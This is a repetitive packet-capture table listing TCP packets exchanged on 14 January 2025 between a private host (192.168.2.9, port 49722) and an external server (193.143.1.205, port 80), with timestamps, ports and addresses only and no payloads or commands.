Jan 14, 2025 11:54:59.841496944 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841511965 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841526031 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841528893 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841542006 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841555119 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841556072 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841584921 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841882944 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841897964 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841912985 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841927052 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841927052 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841943026 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841957092 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.841959953 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.841985941 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.848828077 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.848850012 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.848870993 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.848884106 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.848915100 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.890029907 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890048027 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890063047 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890105963 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.890180111 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890194893 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890225887 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.890360117 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890374899 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890388966 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890403986 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.890403986 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890422106 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.890433073 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.890465021 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931283951 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931541920 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931615114 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931727886 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931746960 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931762934 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931777954 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931792974 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931792974 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931807995 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931823015 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931824923 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931837082 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931849957 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931863070 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931884050 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931893110 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931900024 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931915045 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931929111 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931930065 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931945086 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931956053 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931960106 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931974888 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.931986094 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.931989908 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932003975 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932015896 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932019949 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932033062 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932051897 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932055950 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932070017 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932073116 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932085991 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932101011 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932110071 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932115078 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932131052 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932142019 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932143927 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932157040 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932169914 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932173967 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932188988 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932199001 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932204008 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932218075 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932229042 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932233095 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932248116 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932260036 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932264090 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932279110 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932288885 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932293892 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932308912 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932318926 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932323933 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932347059 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932348013 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932363033 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932378054 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932385921 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932393074 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932408094 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932419062 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932425022 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932449102 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.932498932 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.932535887 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.969150066 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.969167948 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.969182014 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.969197035 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.969265938 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.969321966 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.978826046 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.978842974 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.978858948 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.978874922 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.978914976 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.978933096 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.978961945 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.978982925 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.978997946 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.979012966 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.979028940 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.979032040 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.979054928 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:54:59.979283094 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.979298115 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.979321003 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:54:59.979372978 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.018872023 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.018892050 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.018908024 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.018958092 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019016981 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019037962 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019052982 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019067049 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019068956 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019083977 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019104958 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019135952 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019179106 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019193888 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019207954 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019222975 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019237995 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019269943 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019334078 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019385099 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019541025 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019556046 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019571066 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019584894 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019601107 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019651890 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019673109 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019686937 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019702911 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019716978 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019721031 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019737959 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019753933 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019790888 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.019823074 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019839048 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019853115 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.019905090 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.020008087 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020023108 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020039082 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020061970 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.020100117 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.020633936 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020648956 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020663977 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020678043 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020694017 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020694017 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.020709991 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020735025 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.020756960 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.020809889 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020827055 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020842075 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020858049 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020909071 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.020984888 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.020999908 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021068096 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.021135092 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021150112 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021164894 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021200895 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.021773100 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021787882 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021801949 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021816015 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021831036 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021842003 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.021846056 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021862984 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.021886110 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.021923065 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.057858944 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.057877064 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.057944059 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.058007002 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067792892 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067810059 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067825079 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067838907 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067862034 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067883015 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.067929029 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.067939043 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067955017 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067970991 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.067985058 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.068000078 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.068015099 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.068015099 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.068030119 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.068048954 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.068068027 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.068243027 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.068259001 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.068290949 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.105890036 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.105979919 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106034040 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106148958 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106194973 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106204987 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106259108 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106275082 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106297016 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106318951 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106350899 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106354952 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106369972 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106446028 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106460094 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106461048 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106475115 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106489897 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106498957 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106513977 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106528997 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106532097 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106544018 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106559992 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106569052 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106607914 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106663942 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106678963 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106694937 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106705904 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106720924 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106733084 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106735945 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106751919 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106766939 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106785059 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.106972933 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.106990099 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.107013941 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.107115984 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.107155085 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.108990908 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109006882 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109045982 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.109138012 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109153986 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109169006 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109183073 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109193087 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.109198093 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109213114 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109222889 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.109230042 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109255075 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.109944105 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.109982014 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.110127926 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110142946 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110157967 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110172033 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110177040 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.110187054 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110202074 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110210896 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.110239983 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.110296011 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110311031 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110325098 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110338926 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110347986 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.110353947 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110368967 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110378981 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.110384941 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110400915 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.110414028 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.110444069 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.111107111 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111121893 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111136913 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111151934 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111164093 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.111166954 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111181974 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111190081 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.111198902 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111213923 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111221075 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.111229897 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.111254930 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.147129059 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.147147894 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.147161961 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.147223949 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.147249937 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.147258997 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159431934 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159451008 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159493923 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.159544945 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159559965 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159569025 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159576893 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159604073 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159620047 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.159651041 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.159744978 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159759998 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159779072 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159794092 CET	80	49722	193.143.1.205	192.168.2.9
